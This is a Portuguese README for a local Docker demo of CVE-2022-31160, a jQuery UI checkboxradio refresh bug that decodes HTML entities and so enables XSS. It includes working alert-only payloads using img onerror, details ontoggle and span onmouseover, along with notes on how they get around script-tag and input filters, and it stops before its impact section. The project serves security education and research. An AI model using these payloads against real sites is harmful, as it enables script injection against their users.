Demonstração da Vulnerabilidade CVE-2022-31160 do jQuery UI

Este projeto demonstra a Vulnerabilidade de Atualização do Widget Checkboxradio do jQuery UI (CVE-2022-31160), que permite a decodificação de entidades HTML durante operações de atualização do widget, potencialmente levando a ataques de Cross-Site Scripting (XSS).

🚨 Aviso de Segurança

⚠️ Este projeto contém payloads XSS funcionais apenas para fins educacionais e de pesquisa.

• NÃO utilize em sistemas de produção
• Utilize apenas em ambientes controlados
• Destinado a pesquisas de segurança e educação

📋 Sumário

• Visão Geral da Vulnerabilidade
• Início Rápido
• Estrutura do Projeto
• Demonstrações
• Detalhes Técnicos
• Uso com Docker
• Análise de Segurança
• Mitigação
• Contribuição

🔍 Visão Geral da Vulnerabilidade

Detalhes do CVE-2022-31160

• Componente: Widget Checkboxradio do jQuery UI
• Versões Afetadas: jQuery UI ≤ 1.13.1
• Tipo de Vulnerabilidade: Cross-Site Scripting (XSS) via Decodificação de Entidades HTML
• Pontuação CVSS: 6.1 (Médio)
• Publicado pela primeira vez: 20 de julho de 2022

Causa Raiz

Quando um widget checkboxradio é inicializado em um input dentro de um label, chamar .checkboxradio("refresh") no widget faz com que as entidades HTML no conteúdo do label sejam erroneamente decodificadas. Isso pode converter conteúdo malicioso codificado com segurança em JavaScript executável.

Vetor de Ataque

<!-- Safe encoded content -->
<label for="checkbox">
  Text &lt;img src=x onerror=&quot;alert('XSS')&quot;&gt;
  <input type="checkbox" id="checkbox">
</label>

<!-- After .checkboxradio("refresh") -->
<label for="checkbox">
  Text 
  <input type="checkbox" id="checkbox">
</label>

🚀 Início Rápido

Pré-requisitos

• Docker instalado em seu sistema
• Navegador web com ferramentas de desenvolvedor
• Compreensão básica de conceitos de segurança web

Construir e Executar

# Clone or navigate to the project directory
cd jquery-cve-2022-31160

# Build the Docker image
docker build -t jquery-cve-2022-31160 .

# Run the container
docker run -p 3000:3000 jquery-cve-2022-31160

Acessar as Demonstrações

Assim que o container estiver em execução, acesse:

• Demonstração de Pesquisa Simplificada: http://localhost:3000/survey
• URL Alternativa da Pesquisa: http://localhost:3000/simplified-survey

📁 Estrutura do Projeto

jquery-cve-2022-31160/
├── README.md                    # Esta documentação
├── Dockerfile                   # Configuração do container Docker
├── package.json                 # Dependências Node.js
├── server.js                    # Servidor Express.js
└── simplified-survey.html       # Demonstração estilo pesquisa

🎯 Demonstrações

1. Demonstração de Pesquisa Simplificada (simplified-survey.html)

URL: http://localhost:3000/survey

• Interface estilo pesquisa
• Múltiplos cenários de vulnerabilidade
• Feedback visual aprimorado

Funcionalidades:

• 4 opções de checkbox diferentes demonstrando vários cenários:
  • Opção Segura: Sem entidades codificadas (grupo de controle)
  • XSS de Segurança de Rede: <img src=x onerror="..."> - Execução imediata
  • XSS de Segurança Móvel: <details ontoggle="..." open> - Execução imediata
  • XSS de Segurança em Nuvem: <span onmouseover="..."> - Execução interativa

Ferramentas de Análise:

• Log detalhado no console
• Alertas de execução XSS
• Rastreamento passo a passo da vulnerabilidade

🔧 Detalhes Técnicos

Mecanismo da Vulnerabilidade

1. Inicialização do Widget: jQuery UI cria o widget checkboxradio
2. Armazenamento de Entidades HTML: O conteúdo do label com entidades codificadas é processado
3. Gatilho de Atualização: .checkboxradio("refresh") é chamado
4. Decodificação de Entidades: jQuery UI erroneamente decodifica entidades HTML
5. Execução XSS: O conteúdo malicioso decodificado torna-se executável

Código Afetado

// Vulnerable operation
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Triggers vulnerability

Payloads de Teste

As demonstrações incluem vários payloads para testar diferentes métodos de execução XSS:

<!-- Network Security: Error event XSS (Immediate execution) -->
&lt;img src=x onerror=&quot;console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');&quot;&gt;

<!-- Mobile Security: Details toggle XSS (Immediate execution) -->
&lt;details ontoggle=&quot;alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')&quot; open&gt;&lt;summary&gt;&lt;/summary&gt;&lt;/details&gt;

<!-- Cloud Security: Interactive XSS (User interaction required) -->
&lt;span onmouseover=&quot;alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')&quot; style=&quot;text-decoration:underline; cursor:pointer;&quot;&gt;[Hover to trigger]&lt;/span&gt;

Métodos de Execução XSS

1. Manipulador de Evento de Erro (onerror)

• Gatilho: Imediato quando o elemento é inserido no DOM
• Confiabilidade: Muito alta (sempre falha com src=x)
• Caso de Uso: Demonstra execução XSS imediata
• Risco no Mundo Real: Alto - comumente contorna filtros de entrada

2. Manipulador de Evento de Alternância de Detalhes (ontoggle)

• Gatilho: Quando o estado de abertura/fechamento do elemento details muda
• Confiabilidade: Muito alta (gatilho garantido com o atributo open)
• Caso de Uso: Execução imediata na inserção no DOM
• Risco no Mundo Real: Alto - execução confiável entre navegadores

3. Manipulador de Evento de Mouse (onmouseover)

• Gatilho: Requer interação do usuário (passar o mouse)
• Confiabilidade: Alta quando o usuário interage
• Caso de Uso: Cenários de engenharia social
• Risco no Mundo Real: Médio - requer engajamento do usuário

Por que Esses Payloads Funcionam

Vantagens dos Manipuladores de Evento:

• Executam quando o elemento é inserido via innerHTML
• Contornam restrições de tags <script>
• Funcionam consistentemente em diferentes navegadores
• Não requerem recursos externos para carregar
• Gatilhos baseados em estado (como ontoggle) são altamente confiáveis

Contorno de Codificação:

• Entidades HTML (<, ") são decodificadas pela atualização do jQuery UI
• Transforma conteúdo codificado seguro em código executável
• Demonstra um contorno de sanitização do mundo real
• Múltiplos vetores de execução mostram a diversidade da superfície de ataque

🐳 Uso com Docker

Construindo a Imagem

docker build -t jquery-cve-2022-31160 .

Executando o Container

# Run on default port 3000
docker run -p 3000:3000 jquery-cve-2022-31160

# Run on custom port
docker run -p 8080:3000 jquery-cve-2022-31160

# Run in background
docker run -d -p 3000:3000 jquery-cve-2022-31160

# Run with custom name
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160

Gerenciamento de Containers

# List running containers
docker ps

# Stop the container
docker stop jquery-cve-2022-31160

# Remove the container
docker rm jquery-cve-2022-31160

# Remove the image
docker rmi jquery-cve-2022-31160

🔬 Análise de Segurança

Avaliação de Impacto